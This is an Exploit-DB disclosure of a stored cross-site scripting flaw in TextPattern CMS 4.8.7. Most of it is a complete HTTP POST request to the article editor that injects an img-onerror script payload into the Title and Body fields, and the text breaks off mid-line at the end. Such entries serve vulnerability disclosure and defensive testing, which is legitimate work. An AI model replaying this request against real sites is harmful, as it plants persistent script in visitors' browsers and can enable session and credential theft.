Exploit-DB #49975
Description: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2021-06-10
Author: Mert Daş

Exploit:
# Exploit Title: TextPattern CMS 4.8.7 - Stored Cross-Site Scripting (XSS)
# Date: 2021/09/06
# Exploit Author: Mert Daş merterpreter@gmail.com
# Software Link: https://textpattern.com/file_download/113/textpattern-4.8.7.zip
# Software web: https://textpattern.com/
# Tested on: Server: Xampp

TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

TextPattern 4.8.7 is vulnerable; other versions may also be affected. 

Header

-POST /textpattern/textpattern/index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Length: 4574
Origin: http://localhost
Connection: close
Referer: http://localhost/textpattern/textpattern/index.php?event=article&ID=2%27
Cookie: txp_login=admin%2C4c96cd31447df40aa2ceea6e052132b6; txp_login_public=895102db7badmin; language=en-gb; currency=USD; PHPSESSID=280d77vpc9brntkqclej5her85

----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="ID"

2
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="event"

article
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="step"

edit
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="sPosted"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="sLastMod"
[PII_REDACTED]
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="AuthorID"

admin
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="LastModID"

admin
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Title"

"><img src=1 onerror=alert(1)>
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="textile_body"

1
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Body"

"><img src=1 onerror=alert(1)>
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="textile_excerpt"

1
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Excerpt"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Status"

4
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Section"

articles
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="override_form"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="year"

2021
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="month"

06
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="day"

09
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="hour"

19
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="minute"

38
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="second"

04
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_year"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_month"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_day"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_hour"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_minute"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="exp_second"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="sExpires"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Category1"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Category2"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="url_title"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="description"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Keywords"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="Image"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="custom_1"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="custom_2"


----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="save"

Save
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Content-Disposition: form-data; name="app_mode"

async
----------------------------[PII_REDACTED][PII_REDACTED]97009973
Conte